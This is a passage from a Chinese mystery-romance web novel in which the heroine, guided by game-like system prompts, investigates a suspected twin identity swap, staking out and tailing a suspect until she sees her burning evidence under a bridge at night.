“她在那种地方上班,碰到的人又乱又杂,又没素质,我让她换个工作,她却一直拒绝,说要挣钱给家里盖房子,还要给弟弟交学费和生活费。她说我过惯了好生活,不能理解她生活在底层的辛苦。”
“我确实不能理解,那个收养她的家庭简直是在压榨她,根本没把她当家人看,为什么还要帮他们?还有她那个男朋友,总是问她要钱,稍不顺心就对她拳打脚踢,就这种人渣,她还坚持要跟他在一起。”
说这些话的时候,韩瑾不时皱眉叹气,一副恨铁不成钢的模样。
祝好蹙眉看了她一会儿,问道:“既然不喜欢她,为什么还要做一个跟她一样的纹身呢?”
“虽然养父母对我很好,但是身为家中独女,难免会觉得有些孤单,我小时候就时常幻想,如果我的双胞胎姐姐也跟我一起生活就好了。”
说到这儿,她的眼泪又一次卷土重来:“遇到姐姐之后,我想着毕竟我们身体里流着同样的血,就让她带我去纹了个一模一样的纹身,觉得这样或许能离她的世界再近一些。不过我还是太天真了,我们本就已经是两路人,不论我再怎么努力,都不可能像真的亲生姐妹一样。”
程述把手里的小玩偶抛在半空中又稳稳接住,回头看了看身后一墙的照片,没头没脑地问了句:“这是你朋友吗?”
韩瑾擦了擦眼泪,点点头:“是我高中同学,左边那个是顾筱希,右边那个是黄苑,她们都是我最好的朋友。”
程述饶有兴趣地“哦”了一声,又指着一张大合照问道:“这是高中毕业照吗?韩小姐是1999年生的,那你高中毕业应该是……哪年来着?”
韩瑾十分自然地接过话茬:“16年。”
他又指着一张与韩父韩母拍的全家福问道:“这张合影是什么时候拍的?”
“2018年,当时我从M国回来过春节,带我爸妈去拍了张全家福。”
祝好猜到了程述让她“回房间聊”的目的,为的就是想让她在试探中露出破绽。然而她神态自然、语气从容,所有问题都回答得滴水不漏。
程述脸上闪过一丝少见的挫败之色,眉心微微皱了皱。
祝好干脆把话题挑得更明了:“你的纹身,能让我们看看吗?”
韩瑾迟疑地瞥了程述一眼,见他识趣地转过身,才扯下自己的领子,露出那朵红色的玫瑰纹身。纹身上结了一层痂,但是颜色浅了许多,完全看不出原本的样子。
她把领子拉起来,主动向一脸疑惑的祝好解释:“其实我当初决定纹身时有些冲动,后来没过多久我又后悔了,就去把纹身给洗了。”
“那姚雨欣的纹身……”
没等祝好把话说完,她就冷笑了一声:“她的纹身也翻新了,对吧?我真心把她当姐姐看待,她却处处要跟我攀比,看我的纹身比她的好看,第二天就马上把自己的旧纹身重新上了色。”
这番说辞依旧没有任何漏洞,祝好一时无言以对。
卧室门被敲响,秦聿风推门进来,轻轻对他们摇了摇头,示意他们先离开。从他的表情上看,几乎可以断定他也一无所获。
祝好失望地从椅子上站起来,刚走了几步,突然听到耳边响起系统的提示音:“发现隐藏线索。”
隐藏线索?祝好顺着放大镜图标的方向回过头,瞅见床底角落似乎有个箱子,便试探性地问韩瑾:“韩小姐,那个箱子里装的是什么?”
韩瑾脸色微变,嘴角微微抽动,显然有些紧张:“只是我的一些私人物品而已。”
祝好不想放弃最后的一丝希望,追问道:“具体是什么?”
她微微挪动身体,往箱子的方向靠了一些,干笑了一下:“这个涉及到我的隐私,我想我可以拒绝回答。”
祝好还想说些什么,秦聿风轻轻扯了扯她的胳膊,对她使了个眼色,她只得作罢。
走到楼下时,她看到韩母闭着眼靠在沙发上,保姆正在用血压仪给她测量血压,茶几上还放着一瓶打开盖子的药。很显然,突然激动的情绪让她的高血压犯了,为了避免更严重的后果,秦聿风只能让他们先离开。
坐回车里,祝好透过车窗往楼上看了一眼,正好看到韩瑾站在窗边看着他们。跟祝好对视一眼后,她缓缓拉上了窗帘。
程述靠在副驾驶上捋了捋头发,问秦聿风:“怎么样?”
秦聿风皱着眉摇了摇头:“那天晚上他们确实在家看电视,韩瑾也没有再出过门。她的手也确实是被烫伤的,我看了医院给出的病历,深二度烫伤,指纹肯定是没办法提取了。”
他又问程述:“你们这边怎么样,有什么不对劲的吗?”
“太多了。”程述一只手支着下巴,露出沉吟的神色:“首先,她听闻姚雨欣的死讯时,表现出来的悲伤大于惊讶。”
祝好明白他的意思,在提到尸体的时候,她所流露出来的悲伤情绪绝对是发自内心的,可在说起“姚雨欣”时,却又表现出轻蔑和鄙夷,并且多次使用“那个人”来替代她的名字。
这样的说法,显然是想要撇清两人之间的关系。
程述又接着说:“还有,对于某些问题,她回答得很迅速,而且详细得有些刻意。”
就比如提到自己被烫伤的手时,她把原因和过程都描述得十分详尽;提起姚雨欣遇害那晚自己的行踪,也回答得很笃定,甚至没有经过回忆和思考。
祝好不解:“难道她的
养父养母就没有察觉到自己的女儿有什么不对劲吗?”
程述说:“她这些年都在国外生活,很久才回来一次,没察觉也很正常。”
祝好颓败地倒在后座上,重重叹了口气,好不容易窥见了真相的冰山一角,却又一次走进了死胡同里。
本以为可以这一次的谈话可以让她露出破绽,没想到她早就做好了万全的准备,不仅毁掉了自己的指纹,还能做到对每一个问题都见招拆招,应付自如。
指纹是分辨同卵双胞胎的唯一方式,现在没办法提取指纹进行比对,加上韩瑾有写日记的习惯,那些日记里事无巨细地记载了她成长过程中的所有节点,只要花点时间把日记看完,她就能轻易变成真正的韩瑾。
祝好想到了隐藏线索提示的那个箱子,里面应该藏着破案的重要线索,然而他们这回来只是例行询问,没有证据,就没办法申请搜查令。没有搜查令,自然也就没办法知道那个箱子里到底装了什么。
不过,如果箱子里装着的真的是能证明破案的线索,那韩瑾——或者说是姚雨欣——会不会在发觉自己被警方盯上之后,想办法把它毁掉?魔·蝎·小·说·MOXIEXS &M.o.X.i.exs&
70-80
第71章
祝好腾一下从后座窜起来,欠身扒着前排两张座椅,对程述道:“老大,我觉得她床底下那个箱子一定有问题,你看到她的表情了吗?”
程述态度懒懒散散,显然没把那个箱子当一回事:“万一里面真的是别人的私人物品呢?”
她不甘心地喃喃:“有什么私人物品能让她那么紧张?”
程述说:“比如粉红色的毛绒手铐……”
她赶紧把手绕过座椅,“啪”地捂住他的嘴,把他没说完的话尽数摁了回去,岔开话题:“还有!你还记得我们在姚雨欣家发现的那支烫伤膏吗?月月说洗纹身就是用激光祛除色素,也需要用到烫伤膏和生理盐水护理伤口!”
程述把她的手挪开,收起嬉皮笑脸,语气稍稍正经了些:“就算真的有问题,我们没有搜查令,一样进不去。”
“那……就没有其他办法了吗?”
程述一耸肩:“你说呢?发夹可开不了那么高级的门锁……”
感受到驾驶座上秦聿风投来慑人的目光,他到了嘴边的话陡然间转了个弯:“就算能开,我们也要做遵纪守法的好公民,怎么能干出私闯民宅这种违法的事情呢?是吧,秦警官?”
秦聿风甩开他搭在自己肩膀上的手,露出一个无言以对的表情。
祝好颓然地倒在后座上:“那现在怎么办?”
秦聿风想了想:“这边先按兵不动,我回去把所有的监控再捋一遍。老程,你也一起吧。”
程述大剌剌往后一靠,摸了摸自己的肚子,一贯的臭不要脸:“我还没吃午饭呢,警局包餐吗?”
秦聿风斜乜他一眼,拧动车钥匙:“包包包,吃不死你。”
这就要走了?祝好心有不甘,又不知该如何向他们解释那箱子是这起案子的隐藏线索——毕竟谁也不可能相信有人眼前会无故出现一个放大镜图标吧,这又不是《三体》。
她拿出手机看了眼时间,又抬头透过车窗目测了一下别墅之间的距离,突然伸手摁住秦聿风的肩膀,示意他先别启动车子:“要不你们先回去吧。”
秦聿风和程述同时回头看她,脱口而出:“你要干什么?”
祝好倏地一愣,本来不想解释,但是面对两道审视的目光,又不得不说出实情:“反正不会是私闯民宅,我要去找李砚川。”
“找李砚川?”程述挑起一边眉毛,似笑非笑地看着她:“找他干什么?”
祝好朝他翻了个白眼:“关你什么事儿!”
说完利索地开门下车,朝李砚川家的方向走去。
刚走出几步,就听到身后响起发动机的声音。车子缓缓从她身边经过,程述揿下车窗,嘴角勾起一个贱兮兮的笑:“那你今晚还回家睡吗?”
祝好顿住脚步,本想赌气回他一句“不回了”,但想到车上还有个秦聿风,同是可攻略对象,就算暂时做不到雨露均沾,好歹也得在意一下他的感受。
她想了想:“当然回,我可是正经人……哎,老大。”
程述:“嗯?”
她扒着车窗,指了指车门旁边的储物箱:“你那个望远镜能不能借我用用?”
*
“好好,你坐这张椅子吧,舒服点儿。”
祝好从望远镜中收回目光,看到李砚川给她搬来一张带着软垫的椅子,抱歉地笑了笑:“谢谢,把你吵醒了,真是不好意思。”
“没关系,我平时也差不多这个点醒的。”他弯下腰双手撑在膝盖上,眯着一只眼睛透过窗帘的缝隙往外看:“你这是在查什么案子吗?”
“机密。”祝好做个了“嘘”的手势,又把注意力放在望远镜上。
李砚川家和韩家之间隔着一小片花园,从他卧室的窗子往外看,正好可以看到韩家的院子。
她盯着毫无动静的院子看了一会儿,拍了拍李砚川:“诶,李砚川,如果是你,你会怎么处理某些不想让别人看到的东西?”
李砚川想了想:“直接扔掉不就行了。”
祝好摇头否决:“扔掉……风险太大了,那可是能证明你有罪的证据,如果被人捡到怎么办?”
李砚川认真地挠了挠下巴:“那……烧掉?”
烧掉确实是个好方法。
祝好抬头看了一眼,发现卧室的天花板上有个烟雾报警器。
如果韩瑾想要烧掉什么东西,一定不会选择在家里处理,毕竟这样做会触发烟雾报警系统,引起家里人的注意。
所以最有可能的情况是,她会带着箱子里的东西出门,到其他地方处理掉。
“好好,你渴吗,要不要给你萃杯咖啡?”
李砚川的声音打断了祝好的思绪,她摆了摆手:“你去忙你的吧,不用管我。”
“行,那我先去洗个澡,有事你记得叫我。”
祝好心想就洗澡这几分钟能有啥事啊,就算真的有事,也不可能让他裸奔出来帮忙吧。
吐槽归吐槽,她还是潦草地点了点头:“行,知道了。”
浴室里传来稀里哗啦的水声,祝好八风不动地坐在窗前,保持同一个姿势,用望远镜透过窗帘的缝隙紧盯着韩家。
中午十二点,一辆suv开进韩家的车库里,片刻后,一个身着西装、头发斑白的男人从车里下来,这应该就是韩瑾的养父了。
韩瑾从屋里出来,给了韩父一个拥抱,韩父小心地抬起她受伤的手检查了一下,随后两人一起回屋。
看得出来,韩瑾跟养父母的关系真的非常好。
浴室里的水声停了,过了一会儿,李砚川携着一股沐浴露的清香回到窗前,问道:“好好,你坐那么久不累吗?”
“不累。”祝好移开望远镜回过头,目光撞上他敞开的浴袍领口,又着急忙慌地移开:“要要要要不你先换件衣服吧。”
这领口都快敞到肚脐眼了,就算身材再好也不能那么不守男德啊。
再说了,现在也不是沉迷美色的时候,还是破案要紧。
李砚川摸了摸后脑勺:“抱歉,一个人住习惯了,我现在去换。”
祝好敷衍地点点头,继续架起望远镜向着韩家张望。
该说不说,盯梢这活儿还挺辛苦,早知道就把程述也带来了,有个人跟自己轮班也轻松点儿。
没多久,清冽的香味又回来了,祝好回过头,看到李砚川规规矩矩换上了一件薄款的V领针织衫,手里拿着一杯果汁,脸上笑意盈盈:“好好,我给你榨了杯果汁。”
祝好接过杯子喝了一口:“谢谢。”
李砚川拉了张椅子,在她旁边坐下:“你热吗?要不要把空调打开?”
祝好:“不用了。”
“那你要听音乐吗?”
“不用。”
“那……”
看来好感度太高也不是什么好事,祝好忍无可忍,放下望远镜,无奈地看着他:“李砚川,你就没什么要忙的吗?”
李砚川一脸无辜,仿佛听不出她话里的的意思:“没有啊,现在离酒吧营业还有一段时间呢,我一整个白天都很闲。”
祝好换了种问法:“平时你白天都干些什么?”
李砚川想了想,掰着手指数:“去超市买菜,做做饭,看看电影什么的。”
“那你就去超市买菜,做做饭,看看电影吧,我一个人在这儿看着就行。”
祝好说完,又把注意力投向望远镜里的场景。
过了半晌,没听到李砚川吱声,周遭的气压却莫名低了下来。她终于察觉到有哪里不对,放下望远镜扭过头,看到他正抱着两条长腿蜷缩在椅子上,一脸的伤心欲绝:“好好,我是不是烦到你了?”
祝好:“……”
换做别人,她一定会毫不犹豫、毫不留情地说是,可李砚川这副泫然欲泣模样实在是太犯规了,除了程述那样的铁石心肠,普通人大概没几个能够抗拒得了。
她瞬间没了脾气,换了副缓和的口吻:“一直在我旁边呆着不无聊吗?去做些你自己的事就好了。”
李砚川委屈巴巴的:“可我就想跟你待在一起,行吗?”
祝好捏了捏眉心:行吧,想待在一起那就待在一起吧,毕竟这是他家,把他赶到其他地方也不合适。
系统响起提示音:“跟李砚川的好感度+5,获得50积分!”
祝好更无语了,虽然好感度提高了是好事,但为什么这位男嘉宾看起来那么不值钱的样子?
她叹了口气,继续用望远镜看向韩家,正好看到韩父从屋里出来,往车上走去,他刚才应该只是回家吃个饭,这会儿又要出门上班了。
李砚川没消停多久,又开始在她耳边喋喋不休:“好好,你想看电影吗?”
祝好简直哭笑不得:“你看我像有眼睛能看电影的样子吗?”
李砚川从她手里接过望远镜,换了几个角度四处张望,突然说了句:“其实你不用亲自盯着也行。”
祝好不明所以:怎么,不用亲自盯着,难道他还能用钞能力给她造个分身不成。
李砚川指了指楼下正在打扫卫生的保洁阿姨:“小区里的保安和清洁工是二十四小时值班的,我可以跟物业经理说一声,让他们帮忙盯着那户人家,只要有人进出,第一时间跟我说就行。”
说得倒是简单,帮着你监视别的业主,物业能愿意吗?
李砚川笑得有些得意:“上回那件事我没追究物业公司的责任,他们就已经谢天谢地了,让他们帮个小忙不算什么事儿,明天我给他们一个人发个红包就行了。”
果然还是钞能力好使。
祝好:“……你不早说。”
“我担心我说了,你就不愿呆在我家了。”李砚川掏出手机,找到物业经理的电话,手指停留在屏幕上放,抬头问祝好:“那你可以跟我一起看电影吗?”
见她还有些犹豫,李砚川脸上露出一个十拿九稳的笑容:“如果按你说的,你盯着的那个人是想处理掉一些不能见人的东西,那她一定不会选择在白天动手,所以我觉得你可以把精力重点放在入夜以后。”
祝好的眼神在他那张看似人畜无害的脸上打了个转,忍住不住笑出声来,看不出这家伙其实挺聪明的,合着平时都是在扮猪吃老虎啊。
拿人手短,吃人嘴软。她想了想:“行吧,你想看什么?”
第72章
李砚川很快打通了物业的电话,不出所料,谢经理几乎立马就答应了:“业主,您放心,您交代的事情我一定办好!”
祝好隔着听筒都能想象到电话那头他忙不迭点头哈腰的模样。
挂了电话,李砚川朝她露出一个胜利的微笑:“好好,现在有七八个人帮着你盯梢,你可以安心看电影了。”
说完他又把问题抛回来:“楼下客厅就有投影仪,你平时喜欢看什么类型的电影?”
祝好想了想:“悬疑、犯罪、恐怖片,还有……”
她的目光落在李砚川的手机屏幕上,微不可察地皱了下眉,语调登时拐了个疑惑的弯:“……《恋恋笔记本》?”
李砚川脸上的喜悦之色差点要溢出来:“你也喜欢《恋恋笔记本》吗?”
祝好也懒得挑了,反正只是打发时间,看什么都一样。她点了点头:“还行,就看这个吧。”
李砚川虽然一个人住,但家里收拾得十分整洁,几乎可以说是一尘不染——当然,这多半得归功于两天来一趟的保洁阿姨。
他显然对看电影这件事特别上心,从冰箱里翻出一大堆水果、饮料、零食堆在茶几上,知道的是看电影,不知道的还以为是小学生春游呢。
电影开场,老去的男主角拿着一本书来到疗养院里,给因为老年痴呆失去记忆的女主角讲述年轻时两人相识相知,破镜重圆的故事。
李砚川绅士地跟祝好保持着一个身位的距离,除了时不时问她要不要吃这个喝那个,其余时间注意力都集中在电影上,似乎看得津津有味,可每当察觉到祝好的眼神从自己身上掠过时,总能及时回以一个微笑。
祝好对节奏舒缓的爱情故事实在提不起什么兴趣,没看多久就开始犯困了,但又不想扫他的兴,只好抱着靠枕靠在沙发上,用意志强行撑住摇摇欲坠的眼皮。
当男主带着女主来到一座废弃的老旧庄园里,弹着破旧的钢琴,憧憬着两人的未来时,祝好口袋里的手机突然震动起来,把昏昏欲睡的她吓了一激灵。
她看了眼屏幕,是程述。
这种时候突然给她打电话,难道是发现了什么新线索吗?
跟李砚川比了个“你先继续看”的手势后,她拿着手机走到客厅的角落里,用手掩着嘴接起了电话,低声道:“喂,老大。”
电话那头的程述嗯了一声后就一直没说话,约摸过了十多秒才开口,语气里是藏不住的戏谑:“哟,在看电影呢,还是个爱情片啊?我还以为你拿着望远镜是盯梢韩瑾去了。”
祝好瞥了眼墙上的投屏,电影里的男女主正拥吻在一起,气氛旖旎又暧昧。
这家伙怕不是白眼狼附身了吧吧,听力这么好。
不过既然早就猜到她来李砚川家是为了盯梢,为什么还要故意问出“今晚还回家睡吗”这样的话?
她心里暗暗生出些许不爽,低头摆弄指甲,把语气调整成跟他平时说“关我屁事”时一样懒散的调调:“盯梢不是警察的事儿么?你们都不急,我急什么?”
程述看似毫不在意地哦了一声,没有继续这个话题,转而问道:“那你还回来吃晚饭吗?”
“不!回!”她一字一顿说完,又赌气地补充了句:“还有,今晚我也不回去住了。”
程述顿了一下,然后发出一声几不可闻的轻笑:“行,那不打扰你跟你的漂亮朋友约会了,挂了。”
“什么漂亮朋友,说了他有名字——”
祝好话才说到一半,那头就只剩下无情的忙音。
靠,什么人呐。
祝好收起手机,愤愤地回到沙发上,发现电影被换成了一部恐怖片。
她疑惑地转头看李砚川:“怎么不看刚才那部电影了?”
李砚川一只胳膊支着下巴,眼睛里含着笑:“我看你好像对爱情片不是很感兴趣,就换了一部你可能会喜欢的。”
祝好他注意到了自己的心不在焉,抱歉地挠了挠脑袋:“我一直在想着案子的事,有点儿走神,不好
意思啊。”
虽然有人帮忙盯梢,但她心里还是有些没底,万一他们走神了、没留意到怎么办。
想了想,又问:“谢经理给你回消息了吗?”
李砚川看了眼手机,摇了摇头:“没呢。”
祝好闷闷地哦了一声。
电影开场,几个作死的年轻人决定趁着假期去山里的小屋度假——经典又俗套的恐怖电影套路,不过再怎么也比爱情片好看些。
一行人来到小屋,夜幕一然降临。分配好房间后,他们拿出酒水食物,放起吵闹的音乐,开始了一场狂欢趴体。
其中一对年轻气盛的小情侣来到无人的角落,说了几句情话后,突然疯狂亲吻着对方,迫不及待脱下外衣。
客厅里的气氛登时有些许尴尬,祝好偷偷瞥了李砚川一眼,发现他坐得格外板正,看似毫不在意,实则全身上下都写满了不自在。
早知道还不如老老实实看爱情片呢。
电影里的小情侣还在旁若无人地亲热,暗处却隐约出现一个模糊的身影。
画面一转,一把生锈的巨斧刷地落下,上一秒还如胶似漆的两个人当场尸首分离、双双命丧黄泉,血浆登时溅满一屏幕。
李砚川显然不习惯这样的镜头,被突如其来的jumpscare吓得浑身一僵,下意识转头看向祝好,却发现她不动如山,面无波澜,连睫毛都没有丝毫颤动。
他忍不住问:“好好,你不害怕吗?”
祝好茫然地转头:“啊?”
害怕什么啊,看过好几回血次呼啦的案发现场,这种血浆片对她来说简直不能再小儿科了。
窗外隐隐传来一阵闷雷声,模模糊糊,屋内的光线也渐渐沉了下来,似乎又要下雨了。
李砚川走到门边摁亮客厅的灯,小心翼翼地瞥了眼屏幕里滴血的斧头,没有再回到沙发上,而是停在厨房门口:“好好,你饿了吗?我给你煎块牛排。”
祝好看了眼时间,已经七点多了:“这个点,酒吧不是应该准备营业了吗?”
李砚川不以为然:“没关系,酒吧里不能没有调酒师、服务员、保洁员,但是可以没有我,因为我是里面最没用的。就算我不去,酒吧也能正常运作。”
不给她拒绝的机会,他径直走进开放式的厨房,从冰箱的冷藏室拿出了两块提前解冻好的雪花牛排。
祝好也不看电影了,她走到把厨房和餐厅分隔开的岛台旁边坐下,双手撑着下巴,看着李砚川往牛肉撒上海盐和黑胡椒。
等铸铁锅烧热后,他往锅里倒了些橄榄油和一块黄油,接着把牛排放入锅中。随着“呲啦”的一声,一股混合着奶味的肉香溢满空气。
李砚川回头问她:“五成熟可以吗?”
“可以。”
牛排煎好装盘后,他用一张锡纸盖住盘子,回头对上祝好探寻的目光,解释道:“煎好的牛排静置10分钟左右,可以让肉的纤维松弛,牢牢锁住肉汁。”
有钱人真不一样,吃个牛排都那么讲究。
等待静置的时间,他又用锅里剩下的牛油煎了些蔬菜和两个流心的荷包蛋,贴心地把牛排切好后,才把盘子端到岛台上推到祝好面前,满脸期待地看着她:“好好,你尝尝。”
祝好用叉子叉起一块外焦里嫩的牛肉放进嘴里咀嚼,汁水醇香,肉的口感柔韧得恰到好处。
她点头称赞:“好吃!看不出来你对牛排还挺有研究的。”
李砚川端着另一个盘子在她对面坐下,笑了笑:“白天我都一个人在家,没什么事干,就只能瞎研究这些了。别的不敢说,但是我做的牛排绝对不比外面那些西餐厅差,你如果喜欢,随时来我家,我给你做。”
上得了厅堂,下得了厨房。
祝好心想:要不让乙游统治世界吧,毕竟这么好的男人,现实中能遇到的几率约等于0。
窗外一声惊雷响起,大雨紧跟着哗啦一下倾盆而下。
祝好咬着叉子,转头看向窗外:如果要销毁什么证据,那这样的天气真是再合适不过了。
李砚川笑盈盈地看着她把最后一块牛排吃进嘴里,然后从她手里接过叉子和盘子放进洗菜盆,刚打开水龙头要洗碗,放在桌上的手机就响了起来。
祝好瞥了一眼屏幕,兴奋得差点儿蹦起来:“是谢经理。”
李砚川赶紧用抹布擦了擦手,接起电话,摁下免提。
谢经理急吼吼的声音从听筒中传出:“喂,业主,刚才保安说那户人家的女儿开了一辆红色的轿车出门。”
“什么时候?”
“就刚才,还没驶出小区。”
“把车牌号发给我。”李砚川挂断电话,抬头看着祝好:“好好,现在要怎么办?”
祝好的大脑飞快运转,首先想到的是给程述打个电话,可手指在屏幕上停留片刻,又突然改变了主意。
如果韩瑾真的是去销毁证据的,那么等程述和秦聿风赶到的时候,她的车早就不知道开到哪儿去了。再调监控一个一个路口排查的话,证据早就被烧个精光了。
不如先跟上去,至少先确定她的行踪,路上再通知他们也不迟。
她把手机放回兜里,拿起桌上的望远镜,转头问李砚川:“李砚川,你的车是自动档吗?”
李砚川旋即反应过来:“你要跟着她吗?”
祝好点点头。
李砚川摘下围裙,不由分说拉起她的手:“走,我载你去。”
第73章
韩瑾的车离开别墅区开往市中心,受到大雨的影响,市中心的车流十分缓慢,李砚川那辆黑色的SUV跟韩瑾的红色轿车之间保持着几辆车的距离,不近不远,刚好便于观察,又不至于被发现。
这样的路况虽然可以很好地掩饰他们跟踪的目的,但前面时不时变道插队的车还是会扰乱视线,有几回李砚川差点就跟丢了。
开了一段后,韩瑾大概也被拥堵的交通烦得不行,干脆一拐弯上了高架桥,又在中途从辅路驶进了环城公路。
祝好的双眼一刻不离紧盯着她那辆红色的小轿车,时不时指挥李砚川放慢速度,别跟得太明显了,当心让她察觉到被人跟着。
韩瑾的车从环城公路一直开往城郊,出了城,路上只剩下零星的几辆车,路面也从平整的柏油路变成了泥泞的土路,好在李砚川的SUV底盘足够高,驶在泥路上也不会打滑或者颠簸。
祝好暗自庆幸把他给带上了,否则就算他真的愿意把车借给她,她也不一定敢开。这辆车看着就不便宜,万一不小心撞坏,她把自己给卖了也不够赔的。
城外的路上车越来越少,开到最后,就只剩下韩瑾的红色轿车和他们一前一后缓缓而行。
为了不让她起疑,祝好让李砚川把车拐进一条小道里,估摸着韩瑾的车开出去几十米了,才关掉了车灯,继续远远跟在她身后。
好在韩瑾似乎对这条路也不太熟悉,加上天上下着雨,路面坑坑洼洼,她的车速极慢,即便只有微弱的路灯照路,也不至于跟丢。
这段路十分僻静,按理来说,韩瑾想要处理罪证,随便在找个角落烧掉就可以,可她却没有丝毫要停下来的意思。
她这是要去哪儿呢?
祝好心里闪过一个模糊的念头,她该不会是要去杜俊明抛尸的地方吧?
她拿出手机想要给程述打个电话,却发现一格信号也没有,便转向李砚川:“李砚川,你手机能借我用一下吗?”
李砚川一只手把着方向盘,另一只手从口袋里拿出手机递给她。
祝好接过手机点开屏幕,不出所料,他的手机同样没有信号。可那天来
抛尸现场时,这段路分明是有信号的。
“或许是雨太大,附近的信号塔受损了。”李砚川目不转睛地看着前方的路,问她:“怎么办,我们还要继续跟上去吗?”
祝好纠结了一会儿,咬咬牙:“跟!”
就算真的有什么事儿,他们二打一难道还打不过韩瑾吗?更何况她的手上还受着伤呢。
车又往前开了约莫十公里,前方路段的景致也越来越熟悉,很快就开到了那座旧桥的桥头,韩瑾的车果然在桥上停了下来。
祝好让李砚川把车停在几十米开外的路边,用茂密的树丛遮住了大半车身。她探身出窗外,把望远镜架在眼前,世界倏然变成了一片绿色——没想到程述这望远镜居然还带了夜视功能。
透过厚重的雨幕,能看到韩瑾下了车,从后备箱里拿出一件雨衣穿上,然后艰难地用缠着绷带的双手抱起一个箱子——看样子,就是那个隐藏线索。
除此之外,她手上还提了个黑色塑料袋,里面不知装的是什么。
警方从来没有对外公布过抛尸的地点,她却能独自驾车来这儿,看来那个神秘的报警电话十有八九就是她打的。
不过祝好还有一点想不明白,警方排查过杜俊明抛尸那段时间前后的所有车辆,并没有在其中发现她的身影,她又是怎么知道杜俊明把尸体扔在了这儿?
难道说,是姚雨欣跟杜俊明共同谋划了这起互换身份的案子,所以她才会知道抛尸地点吗?
不对,按照杜俊明那样自私自利的性格,如果知道姚雨欣背叛了他,一定会恼羞成怒,第一时间把她供出来。
再者,从审讯记录来看,他杀人完全是激情犯罪,而且似乎并不知道自己杀死的根本不是姚雨欣。
到底是怎么一回事?
祝好再次掏出手机,仍是一格信号也没有。
这里离市中心将近五十公里路程,雨天泥泞的路更是不好走。他们就这么一路走走停停开过来,居然也花了将近两个小时。
即便是有信号、能打通电话,等秦聿风他们到的时候,韩瑾早就处理好所罪证溜之大吉了。
眼下还是尽可能地保留证据要紧。
祝好掏出手机,开启了录像,虽然夜间拍摄的画面有些模糊,但放大后还是能看清车牌号和韩瑾的身影,作为证据已经足够了。
韩瑾关了后备箱,抱着箱子的身影逐渐消失在桥边的阶梯,看样子是往河堤去了。
祝好收起望远镜,转身问李砚川:“有伞吗?”
身上被淋湿倒不打紧,但万一真的找到了什么重要证物,可得好好保护起来。
李砚川从储物箱里摸出一把光是掂在手里就已经能感受到价格不菲的伞递给祝好,祝好接过伞就要拉开车门,手腕却被李砚川一把攥住。
“好好,你一个人要过去吗?”他一脸担忧。
祝好点头:“嗯。”
“我跟你一起。”
“不用,我一个人去就行。”
李砚川没松手,还是很坚持:“我跟你一起。”
祝好顿了一下,抿了抿嘴,试探性地问:“李砚川,你该不是……害怕了吧?”
李砚川不置可否,眼底一闪而过的心虚早已说明一切,但嘴上还是给自己找补:“好好,分开行动总是会出事的,只有待在一块儿最安全,恐怖片里都是这么演的。”
祝好:“……”
看来就算是乙游的男主,也免不了把面子看得很重要。
不过他说得还挺有道理,两个人行动总比一个人单打独斗好。祝好一时想不出什么反驳的理由,只能点了点头:“行,那就一起吧。”
顿了顿,又压低声音敲打他:“你跟在我身后,别发出声音……也不用摆出那么凝重的表情,我们只是去跟踪,又不是去赴死的。”
河堤边上的石头淋了雨后更湿滑了,有了上回的经验,祝好的十根脚趾头恨不得死死抠住鞋底,每一步都走得如履薄冰。
李砚川紧张得大气不敢出,猫着身子小心翼翼地跟在她身后。
密密麻麻的芦苇随风摆动,像是无数黑幢幢的影子,在河堤上延伸成一层幕布,倒是个藏身的好地方。
祝好余光瞥见李砚川脚上买双泡在泥水里的纯手工制作的皮鞋,不禁有些替他心疼,早知道就提醒他换一双便宜点儿的鞋子了。
透过芦苇的罅隙,隐约可以看到桥洞下面亮起一簇火焰,风吹得焰头跃动,墙上映出的人影也被扯得摇摇晃晃,时而拉长,时而缩短。
祝好压低身子,拨开芦苇丛,把望远镜架在眼前,看清了那个蹲在地上点火的人影——是韩瑾没错,她果然是打算烧毁罪证吗?
韩瑾先是从黑色塑料袋里拿出了一沓纸,那个装着隐藏线索的箱子就放在她身旁的泥地上,却没有马上打开。
祝好调整了望远镜的焦距,看清她手里是一沓油黄色的纸钱。
她跪坐在泥地里,把纸钱一张一张扔进火堆里,嘴里喃喃着什么,先是小声啜泣,随后大颗的眼泪开始顺着脸庞滑落。
“小瑾,对不起……虽然你说过……但我还是……很不安……”
断断续续的声音被风雨裹挟,刚勉强听清几个词,又很快被卷进深不见底的夜色中。
既然她是叫着韩瑾的名字给她烧纸钱,祝好如今已经十分笃定,眼前这个女人就是偷走了韩瑾身份的姚雨欣。
难道说,她大晚上来到这儿,是为了祭拜那个被自己夺走身份的妹妹的吗?
可她为什么要这么做?
是出于愧疚,还是忏悔?
祝好的一条胳膊被李砚川抱得死紧,她甚至能感觉到他恨不得把自己做成一个人体挂件,牢牢扒在她身上。
他弓着身子,附在祝好耳边颤声问道:“好好,那个……是人还是鬼啊?”
狂风骤雨里,纱帐似的芦苇丛中,一个身着白衣的女人在空无一人的荒野中边低声哭泣,边烧着手里的冥币——这幅场景着实有些诡谲,饶是祝好受过各种恐怖片的洗礼,也不由得起了一身鸡皮疙瘩。
说不害怕是假的,但是当身边只有比自己还要怂几百倍、紧紧扒拉着她一条胳膊的李砚川时,一种保护幼小的责任感油然而生,给她平添了几份勇气。
祝好安慰他:“放心吧,肯定是人。”
毕竟做了鬼还要给自己烧纸钱的话,未免也太惨了点儿。
姚雨欣很快烧完了纸钱,她抱着膝盖在火堆前呆坐了一会儿,转身把那个装着隐藏线索的箱子拉到跟前。
这是要开始处理证据了吗?祝好的心脏砰砰直跳,紧张得呼吸几乎要停滞,甚至没注意到自己拿着望远镜的手都在抖。
望远镜里,姚雨欣打开箱子,从里面拿出一顶红色的假发。
祝好突然想到,韩瑾的尸体被发现时,正是染着一头红发。
虽然神经极度紧绷,但她还是隐隐发觉有哪里不太对劲——本是红色头发的姚雨欣为了假扮成韩瑾,把头发染回了黑色,只有在需要扮演自己的时候才会戴上红色假发。
可韩瑾又为什么要把自己的头发染成红色?她的养父母难道就没有察觉吗?
没等她把思绪捋清,就看到姚雨欣一把将假发扔进火堆里。
火光很快吞噬了半顶假发,她又从箱子里拿出一沓纸——看起来像是文件、资料一类的东西。
祝好心一凛:这些纸看起来显然比那顶假发重要多了,当然也更容易销毁。
不行,不能让她这么做!
她的脑子转得飞快,很快得出了两个方案:一,直接冲上前揭穿她。可自己不是警察,更没有执法权,而且万一把她惹急了,撒手把那些纸扔进火堆里,那么所有的证据顷刻间就会灰飞烟灭。
这么看来,只能冒险尝试第二个方案。
祝好艰难地把胳膊从李砚川怀里抽出来,蹲下身在脚下的泥水里摸索半天,找到了一块拳头大的石块。
她把石块递给李砚川,压低声音对他说:“把石块扔进河里,用力点儿。”
